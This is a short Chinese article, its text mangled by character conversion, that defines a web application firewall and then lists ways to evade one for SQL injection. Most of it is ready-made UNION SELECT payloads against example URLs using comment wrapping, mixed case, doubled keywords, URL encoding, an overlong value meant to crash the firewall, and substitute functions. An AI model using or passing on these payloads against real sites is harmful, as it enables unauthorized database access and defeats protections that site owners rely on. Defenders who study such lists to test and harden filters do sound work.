甚么是WAF?
Web利用防火墻是經(jīng)由過程履行一系列針對HTTP/HTTPS的安然策略來專門為Web利用供給呵護的一款產(chǎn)品。
根基/簡單繞過編制:
1、注釋符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….
2、利用大年夜小寫
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
3、連絡前面兩種編制
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….
4、關頭字替代
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此編制合用于一些會把union select替代掉落的WAF,顛末WAF過濾后就會變成 union select 1,2,3,4....
5、內(nèi)部注釋
http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
U替代為%55,S替代為%53 在 union 和 select 之間添加注釋/**/
高級繞過編制:
1、緩沖區(qū)溢出/使防火墻解體
大年夜部門防火墻都是基于C/C++開辟的,我們可利用緩沖區(qū)溢出利用WAF解體
http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
你可利用以下編制測試WAF
page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….
假定返回500弊端,你便可利用緩沖區(qū)溢出的編制來繞過WAF
2、對字母進行編碼
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
3、利用其他變量或號令對注進語句進行替代
COMMAND | WHAT TO USE INSTEAD
@@version | version()
concat() | concat_ws()
group_concat() | concat_ws()
4、操縱WAF本身的功能繞過
假定你發(fā)現(xiàn)WAF會把"*"替代為空,那么你便可以操縱這一特點來進行繞過
http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它編制:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)